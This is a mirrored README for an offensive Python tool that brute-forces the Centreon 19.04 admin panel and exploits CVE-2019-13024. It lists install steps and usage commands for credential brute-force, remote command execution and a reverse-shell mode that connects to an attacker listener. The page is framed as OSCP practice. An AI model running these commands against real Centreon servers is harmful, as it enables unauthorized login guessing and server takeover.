Git Product home page Git Product logo

centreon-v19.04-brute-forcer-rce's Introduction

Centron 19.04 Brute Force and RCE - CVE-2019-13024

Due to improper control of failed logins it is possible to attempt to brute force the administration panel of Centreon 19.04, and then make use of unsanitized variable control to execute remote commands on the targets server. This version of the exploit includes the brute force mode, to attempt to get credentials, then a choice between an arbitary command execution or a straight attempt to get a reverse shell.


Installation

From within your Linux terminal, you can use the following command to download the program.

git clone https://github.com/0xskunk/Centreon-v19.04-Brute-Forcer-RCE.git

We need to make sure you have the packages installed that the program requires before it will run.

First, install pip, which is a package manager for Python.

sudo apt install python-pip

Then, we install the required libraries.

pip install colorama art bs4 urllib3 requests

This is all the prerequisites you need!

Usage

Magic makes use of the ArgParse library, meaning you can get the help menu to appear by typing:

python magic.py -h

Brute Force Mode

python magic.py -t 10.10.10.10 -p 80 -m 1

RCE Mode

python magic.py -t 10.10.10.10 -p 80 -m 2

Reverse Shell Mode

Note: You must start your own listener to connect back to.

python magic.py -t 10.10.10.10 -p 80 -m 3 -i 192.168.69.1 -l 443

License and Credits

Code is open source and I welcome feedback, comments and requests. I wrote this in order to try to improve my usage of classes in Python, and as practice for my OSCP custom exploitation attempts.

Originally, @mhasker wrote and discovered the exploit. I just added a brute forcer, the option to execute alternative commands, and shazam with the colours. I've linked his github below - great work.

mhasker


Logo created with LogoMakr

centreon-v19.04-brute-forcer-rce's People

Stargazers

Pierre avatar v1nc3 avatar  avatar

Watchers

heartburn avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.